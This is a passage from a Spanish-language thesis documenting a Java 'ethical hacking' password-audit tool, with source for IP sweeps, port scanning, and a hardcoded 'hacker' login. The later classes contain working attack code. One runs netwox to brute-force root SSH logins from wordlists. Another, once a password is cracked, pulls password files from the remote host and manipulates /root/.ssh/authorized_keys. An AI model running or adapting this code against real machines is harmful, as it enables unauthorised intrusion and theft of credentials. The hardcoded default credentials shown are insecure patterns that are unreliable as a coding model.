Tipo: varchar 100
Puede o no tener un valor
Nombre_campo : fecha
Alias: ninguno
Descripción: la fecha del sistema, al momento de generar el reporte.
Valores por defecto: null
Tipo: date
Siempre va a tener un valor.
Nombre_campo : hora
Alias: ninguno
Descripción: la hora del sistema, al momento de generar el reporte.
Valores por defecto: null
Tipo: date
Siempre va a tener un valor.
74
Nombre_campo : análisis
Alias: ninguno
Descripción: el extracto del análisis que haya generado el sistema, sobre un
password en particular (valores alto, medio, bajo)
Valores por defecto: null
Tipo: varchar 10
Siempre va a tener un valor.
Nombre_campo : %_seguridad
Alias: ninguno
Descripción: el extracto del % de seguridad que haya generado el sistema,
sobre un password en particular (valor en % desde 10 hasta 95)
Valores por defecto: null
Tipo: varchar 2
Siempre va a tener un valor.
Nombre_campo : descripción
Alias: ninguno
Descripción: la descripción completa acerca de los resultados del análisis
del sistema.
Valores por defecto: null
Tipo: varchar 500
Puede o no tener un valor.
Nombre de la tabla: reporte
Entidad que nos permitirá manejar todos los datos sobre los reportes del
sistema, de manera ordenada, para poder ser visualizados en las pantallas
del proyecto que lo necesiten.
75
Atributos de reporte:
• id_reporte
• direccion
• usuario
• password
• tipo_usuario
• análisis
• estado
• fecha
• hora
• seguridad
• resultado_análisis
Nombre_campo : id_reporte
Alias: id_reporte_pk (nombre del constraint que identifica a la clave primaria)
Descripción: clave primaria de la tabla reporte
Valores por defecto: ninguno
Tipo: serial (Auto numérico)
Siempre va a tener un valor, es un campo indexado
Nombre_campo : direccion
Alias: ninguno
Descripción: la dirección IP del password analizado
Valores por defecto: null
Tipo: varchar 10
Siempre va a tener un valor
76
Nombre_campo : password
Alias: ninguno
Descripción: el nombre del usuario del password analizado
Valores por defecto: null
Tipo: varchar 100
Siempre va a tener un valor
Nombre_campo : tipo_usuario
Alias: ninguno
Descripción: el tipo de servicio que usa el usuario del password analizado
Valores por defecto: null
Tipo: varchar 100
Puede o no tener un valor
Nombre_campo : análisis
Alias: ninguno
Descripción: el extracto del análisis obtenido por password (alto,medio,bajo)
Valores por defecto: bajo
Tipo: varchar 10
Siempre va a tener un valor
Nombre_campo : estado
Alias: ninguno
Descripción: la vigencia del password analizado (vigente, expirado)
Valores por defecto: null
Tipo: varchar 20
Siempre va a tener un valor
77
Nombre_campo : fecha
Alias: ninguno
Descripción: la fecha de la realización de la captura del password analizado
Valores por defecto: null
Tipo: date
Siempre va a tener un valor
Nombre_campo : hora
Alias: ninguno
Descripción: la hora de la realización de la captura del password analizado
Valores por defecto: null
Tipo: date
Siempre va a tener un valor
Nombre_campo : seguridad
Alias: ninguno
Descripción: el nivel de seguridad del password analizado (dado en %
desde el 10% hasta el 95%)
Valores por defecto: null
Tipo: varchar 5
Siempre va a tener un valor
Nombre_campo : resultado_análisis
Alias: ninguno
Descripción: el detalle completo del resultado del análisis que generó el
sistema.
Valores por defecto: null
Tipo: varchar 500
Siempre va a tener un valor
CAPITULO V
Clases del Proyecto
Por cada clase explicada, se detallarán solo los procesos más relevantes o
críticos de las mismas. Dejando al final el código completo, para poder
someterlo a un detallado análisis, si se desea. Aquí se hará una explicación
detallada de cada una de las funciones principales de las clases del proyecto.
Clase claveproyecto.java
Esta es la clase de arranque de nuestro proyecto, en la cual debemos
ingresar un usuario y un password determinado por el sistema, el cual solo
dará acceso al administrador de programa.
El programa solo podrá ser usado por personas autorizadas, por lo general el
administrador del programa, al cual se le entregarán las claves por defecto
de arranque, con la posibilidad de que las cambie en el código fuente, a su
conveniencia.
79
Proceso de verificación de contraseñas:
Función principal:
private void verificarActionPerformed (java.awt.event.ActionEvent evt)
La siguiente función nos realiza la validación de las claves que se ingresen al
sistema. Se permite un máximo de tres intentos para acceder al uso del
programa, si se pasa el número de intentos fallidos el programa
automáticamente se cierra, de este modo se impedirá que el programa sea
usado por personas no autorizadas.
Gráfico No. 38 Función Verifica
Permite la validación de claves con un número máximo de 3 intentos de error
private void verificarActionPerformed(java.awt.event.ActionEvent evt) { if(contador_intentos<=1) { if(password_nombre.getText().equals("hacker") && password_clave.getText().equals("cisc@seminario")) { Msg a=new Msg("BIENVENIDO","imagenes/escudo_u.JPG","LA AUTENTICACION FUE REALIZADA CON EXITO","GRACIAS POR USAR","NUESTRO PROGRAMA"); hide(); dispose(); pantalla_principal pant = new pantalla_principal(); pant.show(); }else{ Msg a =new Msg("AVISO","imagenes/escudo_u.JPG","LA AUTENTICACION FALLO","EL NOMBRE DE USUARIO O LA CLAVE SON INCORRECTOS","INTENTELO DE NUEVO...GRACIAS"); contador_intentos ++; password_nombre.setText(""); password_clave.setText(""); System.out.println("Fallaste en tu número de intentos lo siento se te denego el acceso.."); } }else{ this.setVisible(false); System.exit(0);
Msg a=new Msg("AVISO","imagenes/escudo_u.JPG","TE PASASTES DEL NÚMERO DE INTENTOS","SE HA DENEGADO EL USO DEL PROGRAMA","LO SIENTO HACKER");
} }
80
Clase crea.java
Esta clase me permite crear nuevos objetos de tipo textfield, JLabel, JButton,
JComboBox, JTable, JScrollPane, JMenu, esta clase es invocada en el
momento que el sistema requiera generar objetos de este tipo su uso es
fundamental cuando el sistema genera nuevas, pantallas y nuevos títulos.
Gráfico No. 39 Crea.java
Permite crear nuevos objetos
Clase msg.java
Esta clase es la que maneja todos los mensajes que genera el sistema sean
avisos, errores y advertencias, siempre que sea invocada recibirá 5
parámetros de tipo String.
import java.awt.*; import java.util.Vector; import javax.swing.*; public class Crea { public Crea() { } public static JLabel getLabel(String s) { JLabel jlabel = null; if(jlabel == null) jlabel = new JLabel(s); return jlabel; } public static TextField getTextField() { TextField textfield = null; if(textfield == null) textfield = new TextField(); return textfield; }
81
Dependiendo del String que reciba como parámetro desplegará el respectivo
mensaje al usuario. La clase hereda por defecto del superobjeto Frame.
Gráfico No. 40 Clase Msg.java
Maneja los mensajes del Sistema
Clase fecha.java
Esta clase va a ser invocada por la mayoría de la súper clase de consulta de
datos y registros. Entre sus funciones principales tenemos:
• Captura la fecha actual del sistema, para almacenar los datos en la base
y poder hacer una consulta en lo posterior, permitiendo guardar la fecha
automáticamente.
• La función public void inicio, me permite colocar la fecha como un Label
en algunas pantallas del sistema.
public Msg(String s,String linea1, String linea2,String linea3,String linea4) { super(s); ok= new Button("OK"); fondo = new ImageIcon(linea1); dibujo = new JLabel(fondo); setLayout(new BorderLayout()); setBackground( Color.orange); Panel p1 = new Panel(); Panel p2= new Panel(); p1.setLayout(new BorderLayout()); p1.add("North",new JLabel(linea2,JLabel.CENTER)); p1.add("Center",new JLabel(linea3,JLabel.CENTER)); p1.add("South",new JLabel(linea4,JLabel.CENTER)); p2.add("South",ok); add("Center",p1); add("South",p2); add("North", dibujo); setLocation(410, 110); setResizable(false); pack(); show(); }
82
• La función public String getFecha, captura y retorna la fecha configurada
en el sistema.
Gráfico No. 41 Clase fecha.java
Captura y retorna fecha del sistema
Clase reloj.java
Esta clase va a ser invocada por la mayoría de la súper clase de consulta de
datos. Entre sus funciones tenemos:
• Captura la hora actual del sistema, para almacenar los datos en la
base.
• La función public void run, me permite colocar la hora como un Label
en algunas pantallas del sistema.
• La función public static String getHora, captura y retorna la hora
configurada en el sistema.
public void inicio() { Date date = new Date(); int i = date.getYear() + 1900; int j = date.getDate(); int k = date.getDay(); fecha.setText(dia(date.getDay()) + " " + Integer.toString(j) + " de " + mes(date.getMonth()) + " del " + Integer.toString(i)); } public String getFecha() { Date date = new Date(); int i = date.getYear() + 1900; int j = date.getMonth() + 1; int k = date.getDate(); return Integer.toString(k)+"/"+Integer.toString(j)+"/"+Integer.toString(i); }
83
Gráfico No. 42 Clase reloj.java
Captura y retorna la hora del sistema
Clase Access.java
Esta clase me permite realizar la conexión entre la base de datos y el
programa. Se puede aprovechar esta clase para realizar una conexión con
diferentes tipos de bases, en este caso hemos implementado con la base
PostgreSQL que es gratuita.
La función principal de esta clase es public static Connection
ObtenerConexion, por medio de esta función cualquier clase que desea
hacer una comunicación con la Base podrá hacerlo, para poder realizar la
conexión es necesario conocer los parámetros de configuración que a
continuación explicamos:
public static String getHora() { Date date = new Date(); int i = date.getHours(); int j = date.getMinutes(); int k = date.getSeconds(); return Integer.toString(i)+":"+Integer.toString(j)+":"+Integer.toString(k); } public void run() { do { Date date = new Date(); reloj.setText(date.getHours() + ":" + date.getMinutes() + " : " + date.getSeconds()); try { Thread.sleep(1000L); } catch(Exception exception) { } } while(true); }
84
Empezamos por configurar el driver, se lo hace en la parte del código donde
encontremos la función: Class.forName("nombre_del_driver"), en el
“nombre_del_driver” vamos a colocar el nombre de los driver que estamos
usando en nuestro caso la configuración está dada de la siguiente manera:
Class.forName("org.postgreSQL.Driver");
Para obtener conexión por medio del driver de la base utilizaremos la
siguiente función:
DriverManager.getConnection("jdbc:postgreSQL://127.0.0.1:5432/proyec
to","postgres","postgres");
La configuración arriba mostrada está dada para que trabaje con la Base de
datos postgres, el primer parámetro que recibe la función es la cadena origen
de conexión dependiendo de la base que se está usando varia en su
estructura, el segundo parámetro es el usuario y el tercero es el password.
Estos dos últimos parámetros son opcionales.
85
Gráfico No. 43 Clase Access.java
Permite realizar la conexión entre la base de datos y el programa
Clase pantalla_principal.java
Una vez que la clase clave_proyecto ha validado la clave se nos genera la
Pantalla de Bienvenida del Proyecto, la cual contendrá un menú y unos
botones que me permitirán invocar a las clases que necesito para trabajar
con el programa.
La función básica de esta clase es invocar a las clases con la cuales yo
puedo empezar a operar en el sistema
import java.io.PrintStream; import java.SQL.Connection; import java.SQL.DriverManager; public class ACCESS { static Connection unaConnection =null; public static Connection ObtenerConexion() { try { Class.forName("org.postgreSQL.Driver"); if(unaConnection == null) unaConnection = DriverManager.getConnection("jdbc:postgreSQL://127.0.0.1:5432/proyecto","postgres","postgres"); } catch(Throwable throwable) { System.out.println("ERROR EN LA CONEXION:\n " + throwable); Msg s= new Msg("MENSAJE","x_johncau.gif","Lo sentimos","No se pudo establecer la coneccion","Consulte con el administrador del sistema"); } return unaConnection; } }
86
Gráfico No. 44 Clase pantalla_principal.java
Pantalla de Bienvenida con Menú
Clase Constants.java
Esta clase contiene las constantes que van a ser usadas por el módulo
ScanIP
Gráfico No. 45 Clase Constrangts.java
Contiene los constants usada en el modulo
public class pantalla_principal extends javax.swing.JFrame { public pantalla_principal() { initComponents(); clock = new Reloj(reloj); time = new Fecha(fecha); clock.start(); } private void salidaActionPerformed(java.awt.event.ActionEvent evt) { salir s = new salir(); s.show(); } private void botonscanActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_scan pa = new pantalla_scan(); pa.show(); } private void botonreportesActionPerformed(java.awt.event.ActionEvent evt) { reporte report = new reporte(); report.show(); } private void botonsalirActionPerformed(java.awt.event.ActionEvent evt) { salir sali = new salir(); sali.show(); } private void scan_ip_puertosActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_scan pa = new pantalla_scan(); pa.show(); }
public interface Constants { public static final int PING_PER_THREAD = 10; public static final int MAX_THREAD_COUNT = 100; }
87
Clase Timer.java
Esta clase me va a controlar el tiempo de ejecución de rastreo por IP, la
misma que será usada por las clases Scan_ip_range, PingSweepStart y la
clase Basic_ip_tools para controlar su tiempo de ejecución en el sistema.
Gráfico No. 46 Clase Timer.java
Control del tiempo de ejecución del rastreo
import java.io.PrintStream; final class Timer { public Timer() { reset(); } public void start() { System.gc(); start = System.currentTimeMillis(); } public void end() { System.gc(); end = System.currentTimeMillis(); } public long duration() { return end - start; } public void reset() { start = 0L; end = 0L; } public static void main(String s[]) { Timer t = new Timer(); t.start(); for(int i = 0; i < 80; i++) System.out.print("."); t.end(); System.out.println("\n" + t.duration()); } private long start; private long end; }
88
Clase PingSweepStart
Esta clase recibe como parámetros una IP inicial y una IP final que fueron
generadas en la clase Scan_ip_range con la cual las ordena en grupos de 10
para verificar que IP esta activa y o inactiva, todo esto controlado por un
tiempo. La clase genera las 10 IP que se encuentran en el rango que recibió
para luego enviarlas a otras clases para su validación.
Gráfico No. 47 Clase PingSweepStart
Ordena en grupo de 10 para verificar las ip
public PingSweepStart(String ip_range_beginnig, String ip_range_end) { total_result = new StringBuffer(); ip_range_beginning = BasicIPTools.find_lesser_address(ip_range_beginnig, ip_range_end); this.ip_range_end = BasicIPTools.find_greater_address(ip_range_beginnig, ip_range_end); thread_count = BasicIPTools.get_required_host_count(ip_range_beginning, this.ip_range_end); calculate_required_thread(); ping_threads = new PingThread[thread_count]; } public void run() { startSweeping(); do try { sleep(1000L); } catch(InterruptedException e) { e.printStackTrace(); } while(!check_if_sweep_completed()); System.out.print(get_result_of_scan()); } public StringBuffer get_result_of_scan() { return total_result; } private void startSweeping() { int i = 0; String start_ip = ip_range_beginning; String stop_ip = BasicIPTools.increase_IP(start_ip, 10); while(i < thread_count) { if(!if_exceeds(start_ip, ip_range_end, 10)) { ping_threads[i] = new PingThread(start_ip, stop_ip, total_result); ping_threads[i].start(); stop_ip = BasicIPTools.increase_IP(stop_ip); start_ip = stop_ip; stop_ip = BasicIPTools.increase_IP(stop_ip, 10); i++; continue; } ping_threads[i] = new PingThread(start_ip, ip_range_end, total_result); ping_threads[i].start(); break; } }
89
Clase genera_palabras
Esta es una clase de uso opcional que permite generar combinaciones entre
palabras para guardarlas en un archivo plano de texto para en lo posterior
poder usarlas en el análisis de los password.
Gráfico No. 48 Clase genera_palabras
Realiza combinaciones entre palabras
Clase pinger.java
Esta clase recibe una por una las IP generadas por PingSweepStart, y
simplemente ejecuta un ping sobre cada una de ellas retornando el resultado
a la clase que lo requiera. Su función principal es: public static boolean
windows_ping
private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) { try{ BufferedWriter w = new BufferedWriter(new FileWriter("/root/Desktop/salida")); BufferedReader is = new BufferedReader(new FileReader ("/root/Desktop/diccionario_test")); while (is.ready()) { aax =(String)is.readLine(); System.out.println("recuperado de archivo:--> "+aax); //\|@#~½¬{[]}\~}@ł€¶ŧ←↓→øþ[]æßðđŋħjĸł~{|«»¢“”nµ·:ª!"·$%&/()=?¿Çº*' aux = aax + "½"; w.newLine(); w.write(aux); } is.close(); w.close(); }catch (IOException e) { Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.JPG","NO SE PUDO LEER EL ARCHIVO DE DICCIONARIOS DE PALABRAS","CONSULTE CON LA AYUDA DEL SISTEMA","GRACIAS..."); System.out.println ("Error al leer el archivo"); }
90
Gráfico No. 49 Clase pinger.java
Ejecuta un ping sobre las IP recibidas
Clase scan_ip_range.java
Esta clase es la que reordena los datos que enviaron las clases de rastreos
de IP y los va mostrando por pantalla a su vez que se almacenan en cadenas
para poder desplegar los resultados de los escaneos en la pantalla de java
public static boolean windows_ping(String ip) throws Exception { Process p = Runtime.getRuntime().exec("ping -w 1 -l 8 " + ip); int status = p.waitFor(); return status == 0; }
public void empezar(String ip_inicial,String ip_final) throws InterruptedException { first_ip = ip_inicial; last_ip= ip_final; Timer t = new Timer(); t.start(); ScanIPRange a = new ScanIPRange(first_ip, last_ip); a.start_scan(); t.end(); System.out.println("\n\n**************************"); System.out.println("ESCANEO DE IP: " + first_ip + " - " + last_ip); System.out.println("por sistema de hacking de passwords--duracion::\t" + t.duration() + " (ms)"); System.out.println("**************************"); } public void start_scan() throws InterruptedException { int i = 0; String start_ip = ip_range_beginning; String stop_ip = BasicIPTools.increase_IP(start_ip, 100); for(; i < loop_count; System.gc()) { PingSweepStart sweep; if(!if_exceeds(start_ip, ip_range_end, 100)) { sweep = new PingSweepStart(start_ip, stop_ip); sweep.start();sweep.join();sweep = null; stop_ip = BasicIPTools.increase_IP(stop_ip); start_ip = stop_ip; stop_ip = BasicIPTools.increase_IP(stop_ip, 100); i++; continue; } sweep = new PingSweepStart(start_ip, ip_range_end); sweep.start(); sweep.join(); sweep = null; break; }
91
Gráfico No. 50 scan_ip_range.java
Reordena los datos enviados por las clases de rastreo
Clase basic_ip_tools.java
Esta clase valida de uno en uno que la IP que genera el sistema este dentro
del rango que ingreso el usuario.
public static String get_broadcast_address(String ip_address, String subnet_mask) { subnet_mask = not_address(subnet_mask); String network_address = get_network_address(ip_address, subnet_mask); return or_addresses(subnet_mask, network_address); } public static int get_required_host_count(String ip_range_beginning, String ip_range_end) { long ip_value_1 = 0L; long ip_value_2 = 0L; String ip_real_beginning = find_lesser_address(ip_range_beginning, ip_range_end); String ip_real_end = find_greater_address(ip_range_beginning, ip_range_end); short ip_1[] = parseIP(ip_real_beginning); short ip_2[] = parseIP(ip_real_end); for(byte i = 0; i < 4; i++) { ip_value_1 += (long)((double)ip_1[i] * Math.pow(256D, 3 - i)); ip_value_2 += (long)((double)ip_2[i] * Math.pow(256D, 3 - i)); } return (int)((ip_value_2 - ip_value_1) + 1L); } public static boolean check_equality(String adres_1, String adres_2) { short parcalar_1[] = parseIP(adres_1); short parcalar_2[] = parseIP(adres_2); for(byte i = 0; i < 4; i++) if(parcalar_1[i] != parcalar_2[i]) return false; return true; } public static String find_greater_address(String address_1, String address_2) { if(check_equality(address_1, address_2)) return address_1; if(check_greater(address_1, address_2)) return address_1; else return address_2; } public static String find_lesser_address(String address_1, String address_2) { if(check_equality(address_1, address_2)) return address_1; if(check_lesser(address_1, address_2)) return address_1; else return address_2; }
92
Gráfico No. 51 Clase basic_ip_tools.java
Valida las IP dentro del rango que se ingreso
Clase ping_thread.java
Esta clase me muestra por pantalla los resultados del escaneo en grupos de
10 se encarga de validar que no se tome la dirección .0 que es el
identificador de red y Lan .255 que el broadcast ordena los datos y los
muestra por pantalla presentando por IP si esta activa o no, a su vez que se
guardan los datos en cadena para poder desplegar los resultados en la
pantalla de Java.
public class PingThread extends Thread { public PingThread(String ip_range_begin, String ip_range_end, StringBuffer total_result) { local_result = new StringBuffer(); cadena_ip_buffer = new StringBuffer(); this.goal=goal; this.ips=ips; this.ip_range_beginning = ip_range_begin.trim(); this.ip_range_end = ip_range_end.trim();this.total_result = total_result; } public void run() { String temp_beginning = ip_range_beginning; while(!BasicIPTools.check_equality(ip_range_beginning, ip_range_end)) if(ip_range_beginning.endsWith(".0") || ip_range_beginning.endsWith("255")) { ip_range_beginning = BasicIPTools.increase_IP(ip_range_beginning); } else { try { if(Pinger.windows_ping(ip_range_beginning)) { local_result.append(ip_range_beginning + "\t\tACTIVA!\n"); goal =goal + ip_range_beginning + '\t'+'\t'+"ACTIVA!!"+'\n'; ips=ips+ip_range_beginning+'\n'; }else{ local_result.append(ip_range_beginning + "\t\tinactiva\n");
goal =goal + ip_range_beginning + '\t'+'\t'+"inactiva"+'\n'; } } catch(Exception exception) { } ip_range_beginning = BasicIPTools.increase_IP(ip_range_beginning); } try { if(Pinger.windows_ping(ip_range_beginning)) { local_result.append(ip_range_beginning + "\t\tACTIVA!\n"); goal =goal + ip_range_beginning + '\t'+'\t'+"ACTIVA!!"+'\n'; ips=ips+ip_range_beginning+'\n'; }else{ local_result.append(ip_range_beginning + "\t\tinactiva\n"); } goal =goal + ip_range_beginning + '\t'+'\t'+"inactiva"+'\n'; } catch(Exception exception1) { } if(local_result.toString() != null) local_result.append("\n"); total_result.append(temp_beginning + " - " + ip_range_end + " Escaneando dentro de este rango\n" + local_result); goal= goal + '\n'; goal = goal + temp_beginning + " - " + ip_range_end + " Escaneando dentro de este rango"+'\n' + local_result.toString(); }
93
Gráfico No. 52 Clase ping_thread.java
Muestra por pantalla resultados de escaneo
Clase pantalla_scan.java
public class pantalla_scan extends javax.swing.JFrame{ public pantalla_scan() { initComponents(); clock = new Reloj(reloj); time = new Fecha(fecha); clock.start(); } private void botonscanPUERTOSActionPerformed(java.awt.event.ActionEvent evt) { d=0; texto_scan_puertos.setText(""); for (int i = 0; i < 999; i++) { for(int j=0;j<3;j++){ tabla_scan_puertos.setValueAt("",i,j); } } try { InetAddress addr = InetAddress.getByName(host); System.out.println("escaneo de puertos activos en la direccion ip--> "+host); cadena_puertos = cadena_puertos + "escaneo de puertos activos en la direccion ip--> "+ host +'\n'+"buscando puertos abiertos..." +'\n'+ "por favor espere...(CTRL-C para detener)"+'\n'; for (int i = 1; i < 500; i++) { Socket s = null; try { s = new Socket(addr,i); if (s!=null){ System.out.println("Puerto: " + i + " abierto " + host ); cadena_puertos = cadena_puertos + '\n'+"Puerto: " + i + " abierto en " + host+'\n'; tabla_scan_puertos.setValueAt(Integer.toString(i),d,0); botonhackeo.setEnabled(true); switch (i) { case 21: tabla_scan_puertos.setValueAt("Servicio ftp",d,1); break; case 22: tabla_scan_puertos.setValueAt("Servicio ssh",d,1); break; default: tabla_scan_puertos.setValueAt("Puerto desconocido",d,1); break; } tabla_scan_puertos.setValueAt("Activo",d,2); d++; }else{ System.out.println("Puerto: " + i + " cerrado " + host ); } } catch (IOException ex) { } finally { try { if (s != null) s.close(); } catch (IOException ex) {} } } //for } //try catch (UnknownHostException ex) { System.err.println(ex); } if (cadena_puertos !="") { texto_scan_puertos.setText(cadena_puertos); }else{ Msg a=new Msg("Respuesta del Sistema","imagenes/escudo_u.JPG","no se han encontrado puertos abiertos","verifique la IP y el estado de la red","consulte el manual de ayuda y vuelvalo a intentar...gracias"); botonhackeo.setEnabled(false); } }
94
Gráfico No. 53 pantalla_scan.java
Scaner de puertos
95
Esta clase, una vez registrada una IP válida para escanear, al seleccionar
una IP de la pantalla, automáticamente activa un botón el cual al ser
presionado, ejecutará el código mostrado arriba. La clase empieza a abrir
sockets de conexión hacia la maquina remota, si encuentra uno abierto en el
destino, mostrará por pantalla cual es el puerto abierto y el tipo de servicio
asociado al puerto. En caso de no haber encontrado puertos abiertos o si
ocurrió algún tipo de error, el sistema mostrará el respectivo mensaje de
advertencia o error.
La búsqueda de puertos abiertos se la realiza de una forma rápida,
escaneando hasta un límite de puertos determinado. Esto es totalmente
modificable con el código fuente.
Este tipo de comprobación es muy útil para verificar después de realizado el
ataque, si se nos ha abierto el puerto que forzamos a abrir cuando
realizamos el ataque que se explicará después. Solo el administrador
conocerá el modo de ataque del exploit, para poder hacer una auditoria
posterior sin necesidad de hacer el ataque de autenticación remota en lo
posterior.
96
Clase pantalla_attack_ftp.java
Una vez realizado el escaneo de IP y habiendo encontrado una IP y el puerto
activo para extraer los archivos de auditoria, procedemos a ejecutar el ataque
de auditoria de passwords.
La siguiente pantalla muestra la inicialización de la pantalla en mención:
Gráfico No. 54 Clase pantalla_attack_ftp.java
Inicialización de pantalla
Una vez invocada la ejecución de la clase, con esta función se inicializan los
elementos y demás variables que son necesarias para que el programa
empiece a funcionar. La función initComponents() es la encargada de
levantar todo el diseño en NetBeans. En este constructor se puede además
recibir variables externas que son necesarias para la clase.
En el siguiente cuadro tenemos a las clases que serán invocadas, si
queremos retornar a la pantalla anterior a esta, o si se ejecuto el ataque con
éxito, y se desea pasar a la parte de análisis.
public class pantalla_attack_ftp extends javax.swing.JFrame { public pantalla_attack_ftp(String ip) { ip_final = ip; initComponents(); }
97
Gráfico No. 55 boton_retorno
Al presionar este botón permite esconder y presentar otra pantalla
Funciones importantes de destacar en esta clase:
La función mostrada a continuación nos permite monitorear el estado en que
se encuentre la red. Si por alguna circunstancia, al ejecutar la pantalla y el
respectivo ataque, si sospechamos que se perdió el enlace con la maquina
remota por algún motivo, con esta función nos aseguraremos de despejar
dudas, se tratará de comunicar con la maquina remota y escanearle el
puerto, para que nos de un diagnóstico de que es lo que ocurre con el
enlace. Puede ser que la conexión remota se haya perdido o que nos hayan
cerrado el puerto. El módulo devuelve la respuesta de que es lo que pasa, y
de ser necesario, se deberá repetir el ataque desde el inicio.
private void boton_retornoActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_scan as = new pantalla_scan(); as.show(); } private void boton_analizaActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); parametros_análisis análisiss = new parametros_análisis(ip_final); análisiss.show(); }
98
Gráfico No. 56 Class verifica estado
Verifica el estado de la red
public static boolean verifica_estado_red() throws Exception { Process p_red = Runtime.getRuntime().exec("/root/hacking_etico/utilitarios/chequeo_red "+ip_final); is_red = p_red.getInputStream(); br_red = new BufferedReader (new InputStreamReader (is_red)); aux_red = br_red.readLine(); while (aux_red!=null )
{ System.out.println (aux_red); cadena_total_red = cadena_total_red + '\n' + aux_red; aux_red = br_red.readLine(); } int status = p_red.waitFor(); return status == 0; } private void execute_ipActionPerformed(java.awt.event.ActionEvent evt) { cadena_total_red=""; text_estado_ip.setText(""); aux_red=""; try { if (verifica_estado_red()){ Msg a=new Msg("AVISO","/root/hacking_etico/imagenes/escudo_u.JPG","TERMINADA LA EJECUCION","DEL ESTADO DE LA RED","........."); boton_exec_attack.setEnabled(true); }else{ Msg a=new Msg("ERROR","/root/hacking_etico/imagenes/escudo_u.JPG","NO SE PUDO EJECUTAR LA FUNCION DE VERIFICACION DE LA RED","CONSULTE CON LA AYUDA DEL SISTEMA","GRACIAS"); boton_exec_attack.setEnabled(false); } } catch (Exception e) { // Excepciones si hay alg�n problema al arrancar el ejecutable o al // leer su salida. e.printStackTrace(); Msg a=new Msg("ERROR","/root/hacking_etico/imagenes/escudo_u.JPG","NO SE PUDO EJECUTAR LA FUNCION DE VERIFICACION DE LA RED","CONSULTE CON LA AYUDA DEL SISTEMA","GRACIAS"); } text_estado_ip.setText(cadena_total_red +'\n'+ " FINALIZADO CON EXITO EL CHEQUEO DE LA RED..!!!"); }
99
La función que viene a continuación nos permitirá hacer lo siguiente:
Gráfico No. 57 Funcion ejecuta_ataque_ftp
Ejecución de ataque remoto Ftp
La clase empieza invocando a la función public static boolean
ejecuta_ataque_ftp(String ip) , la cual va a empezar la ejecución del ataque
remoto, con una IP ya conocida, y un puerto abierto, en este caso el 22.
public static boolean ejecuta_ataque_ftp(String ip) throws Exception { Process p = Runtime.getRuntime().exec("netwox 130 -i "+ IP +" -l "+"/root/hacking_etico/utilitarios/login"+" -v -s -w "+"/root/hacking_etico/utilitarios/diccionario_completo"+ " -T 50000 -n 200"); // Se obtiene el stream de salida del programa is = p.getInputStream(); // Se prepara un bufferedReader para poder leer la salida m�s // comodamente. br = new BufferedReader (new InputStreamReader (is)); String aux = br.readLine(); // Se lee la primera linea while (aux!=null ) // Mientras se haya leido alguna linea { System.out.println (aux); cadena_total_passwd = cadena_total_passwd + '\n' + aux; if (aux.endsWith("good")) { password_obtenido = aux; } aux = br.readLine(); } int status = p.waitFor(); for(int k=0; k < password_obtenido.length()-9; k++) { if (password_obtenido.charAt(k)== '-' && cont ==0) { passwd_final = password_obtenido.substring(k+3,password_obtenido.length()-9); cont++; } } System.out.println("Este es el passwd rastreado-->" + passwd_final); cadena_total_passwd = cadena_total_passwd + '\n'+" el resultado es:... "+passwd_final; cadena_passwords_obtenidos = cadena_passwords_obtenidos + passwd_final; return status == 0 }
100
El programa empieza a ejecutar duplas de ataque, con autenticación remota
hacia el servicio SSH o SFTP, el programa es capaz de abrir hasta 700 hilos
de conexión por segundo, devolviendo repuesta cada 3 a 4 segundos,
completando los grupos de duplas de ataque cada 2 o 3 minutos. La ventaja
de esta herramienta es que es capaz de recuperarse si es que el sistema
remoto rechaza la conexión, reservando esa pareja de autenticación para un
momento posterior, hasta que logre ser probada. El diccionario de palabras
se lo puede cambiar al gusto del usuario, sin embargo se recomienda hacer
uso de los que se han proporcionado en el proyecto. Si se desea se puede
agregar más diccionarios, descargándolos desde Internet o generándolos
con el generador de palabras incorporado en el código fuente.
Nota: dependiendo del estado de la red este tipo de operación puede
demorar varios minutos, horas, e incluso días. Si no se pudo acceder a la
clave con el diccionario por defecto (palabras más comunes), se recomienda
generar más palabras con el generador de palabras y buscar por medio del
archivo de diccionario nuevo.
El efecto de demora puede ser considerable dependiendo de que tan
poderosa es la clave de la maquina a ser auditada. Una opción de auditoria
será que el administrador del equipo remoto nos proporcione la clave que
tentamos descifrar, colocarla en la pantalla de ataque, y extraer los archivos
101
de passwords con seguridad. Esto será solo con consentimiento del
administrador de la maquina remota. En este caso, el recibirá el resultado de
la auditoria del análisis, y después de esto deberá cambiar su clave de root
inmediatamente, y los archivos de passwords extraídos de la maquina
deberán ser eliminados de la maquina analizadora, con el fin de evitar
inconvenientes.
El programa vía consola terminal o consola de output, en el caso de que se
esta compilando desde NetBeans, arroja el resultado continuo de lo que está
sucediendo con la autenticación, con las palabras que se están enviando a la
maquina remota.
Las duplas a enviar por defecto serán las de tipo usuario—passwd, el usuario
sería el root y el password a probar cada una de las palabras que conforman
el diccionario que estemos utilizando. Una vez terminado el proceso, sino
hubo errores o novedades, se mostrará en la pantalla de java, indicándonos
además cual fue el password que nos permitió la autenticación remota.
El sistema se encargarán de ordenar los datos obtenidos en cada instante de
ejecución, y cuando encuentre la clave se detendrá, en el transcurso de ese
tiempo la pantalla se congelara, esta reacción es normal ya que la maquina
esta ocupando recursos del sistema. Toda la salida se podrá ver mediante
una consola Terminal o el output de NetBeans.
102
Si obtuvimos la clave con éxito, procederemos a ejecutar el siguiente
proceso:
Gráfico No. 58 Función ejecuta_extract
Extracción del archivos de PC remota
public static boolean ejecuta_extract(String ip_final,String login,String passwd_final) throws Exception { Process p_copia = Runtime.getRuntime().exec("/root/hacking_etico/utilitarios/ataque_ssh"); is_copia = p_copia.getInputStream(); br_copia = new BufferedReader (new InputStreamReader (is_copia)); String aux_copia = br_copia.readLine(); while (aux_copia!=null ) { System.out.println (aux_copia); cadena_total = cadena_total + '\n' + aux_copia; aux_copia = br_copia.readLine(); } p_copia.waitFor(); Process p_clear = Runtime.getRuntime().exec("netwox 114 -i "+ip_final+" -u "+login+" -a "+passwd_final+" --remote-file /root/.ssh/authorized_keys"); is_clear = p_clear.getInputStream(); br_clear = new BufferedReader (new InputStreamReader (is_clear)); String aux_clear = br_clear.readLine(); while (aux_clear!=null ) {
